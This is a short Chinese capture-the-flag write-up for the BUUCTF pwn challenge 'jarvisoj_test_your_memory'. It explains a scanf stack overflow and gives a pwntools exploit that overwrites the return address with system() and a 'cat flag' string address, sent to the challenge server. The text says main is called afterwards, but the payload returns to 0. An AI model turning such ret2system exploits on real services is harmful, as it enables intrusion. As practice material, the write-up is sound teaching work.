jarvisoj_test_your_memory
使用checksec
查看:
只开启了栈不可执行,应该还是一道栈溢出题目。
放进IDA中查看:
- 先是用
printf()
输出了一个不知道什么玩意的东西 - 然后调用
men_test()
跟进查看men_test()
:
printf("0x%x \n", hint);
:输出了hint的地址__isoc99_scanf("%s", &s);
:存在栈溢出,距离ebp0x13
题目思路:
- 题目存在栈溢出,可以进行溢出调用
system
- 题目没有
/bin/sh
,但是存在cat flag
,同样可以用作system
的参数。 - 需要正常结束程序,所以调用
system
之后再调用main
exp:
from pwn import *
#start
# r = process("../buu/jarvisoj_test_your_memory")
r = remote("node4.buuoj.cn",29326)
elf = ELF("../buu/jarvisoj_test_your_memory")
context.log_level = 'debug'
flag_addr = 0x80487E0
system_addr = elf.symbols['system']
main_addr = elf.symbols['main']
#attack
payload = b'M'*(0x13+4) + p32(system_addr) + p32(0) + p32(flag_addr)
r.sendline(payload)
r.interactive()